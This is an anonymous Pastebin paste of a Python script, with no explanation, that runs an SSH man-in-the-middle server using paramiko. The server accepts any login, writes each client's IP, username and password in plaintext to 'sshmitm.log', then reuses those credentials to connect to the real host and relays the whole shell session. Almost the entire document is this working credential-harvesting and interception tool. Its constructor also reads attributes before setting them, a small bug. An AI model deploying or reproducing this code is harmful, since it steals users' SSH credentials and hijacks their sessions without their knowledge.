Advertisement
Guest User

Untitled

a guest
Sep 26th, 2016
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.40 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. from binascii import hexlify
  4. import threading
  5. import traceback
  6. import socketserver
  7. import logging
  8. import paramiko
  9. from paramiko.py3compat import u
  10. import select
  11.  
  12. PORT = 2200
  13. LOG_FILE = 'sshmitm.log'
  14. DENY_ALL = False
  15. DOMAIN = ""
  16. # setup logging
  17. logger = logging.getLogger("access.log")
  18. logger.setLevel(logging.INFO)
  19. lh = logging.FileHandler(LOG_FILE)
  20. logger.addHandler(lh)
  21.  
  22.  
  23. host_key = paramiko.RSAKey(filename='test_rsa.key')
  24.  
  25. print('Read key: ' + u(hexlify(host_key.get_fingerprint())))
  26.  
  27.  
  28. class Server (paramiko.ServerInterface):
  29.  
  30. def __init__(self, client_address):
  31. self.event = threading.Event()
  32. self.client_address = client_address
  33. self.password
  34. self.username
  35.  
  36. def check_channel_request(self, kind, chanid):
  37. if kind == 'session':
  38. return paramiko.OPEN_SUCCEEDED
  39. return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
  40.  
  41. def check_auth_password(self, username, password):
  42. logger.info('IP: %s, User: %s, Password: %s' % (self.client_address[0],
  43. username, password))
  44. if DENY_ALL is True:
  45. return paramiko.AUTH_FAILED
  46. self.password = password
  47. self.username = username
  48.  
  49. return paramiko.AUTH_SUCCESSFUL
  50.  
  51. def check_channel_shell_request(self, channel):
  52. self.event.set()
  53. return True
  54.  
  55. def check_channel_pty_request(self, channel, term, width, height,
  56. pixelwidth, pixelheight, modes):
  57. return True
  58.  
  59.  
  60. class SSHHandler(socketserver.StreamRequestHandler):
  61. def handle(self):
  62. try:
  63. t = paramiko.Transport(self.connection)
  64. t.add_server_key(host_key)
  65. server = Server(self.client_address)
  66. try:
  67. t.start_server(server=server)
  68. except paramiko.SSHException:
  69. print('*** SSH negotiation failed.')
  70. return
  71.  
  72. # wait for auth
  73. chan = t.accept(20)
  74. if chan is None:
  75. t.close()
  76. return
  77. print('Authenticated!')
  78.  
  79. self.client = paramiko.SSHClient()
  80. self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  81. self.client.connect(DOMAIN, username=server.username,
  82. password=server.password, port=443)
  83. chan2 = self.client.invoke_shell()
  84.  
  85. while True:
  86. r, w, e = select.select([chan2, chan], [], [])
  87. if chan in r:
  88. x = chan.recv(1024)
  89. if len(x) == 0:
  90. break
  91. chan2.send(x)
  92.  
  93. if chan2 in r:
  94. x = chan2.recv(1024)
  95. if len(x) == 0:
  96. break
  97. chan.send(x)
  98.  
  99. server.event.wait(10)
  100. if not server.event.is_set():
  101. print('*** Client never asked for a shell.')
  102. t.close()
  103. return
  104. print(server.get_allowed_auths)
  105. chan.close()
  106.  
  107. except Exception as e:
  108. print('*** Caught exception: ' + str(e.__class__) + ': ' + str(e))
  109. traceback.print_exc()
  110. finally:
  111. try:
  112. t.close()
  113. except:
  114. pass
  115.  
  116. sshserver = socketserver.ThreadingTCPServer(("0.0.0.0", PORT), SSHHandler)
  117. sshserver.serve_forever()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement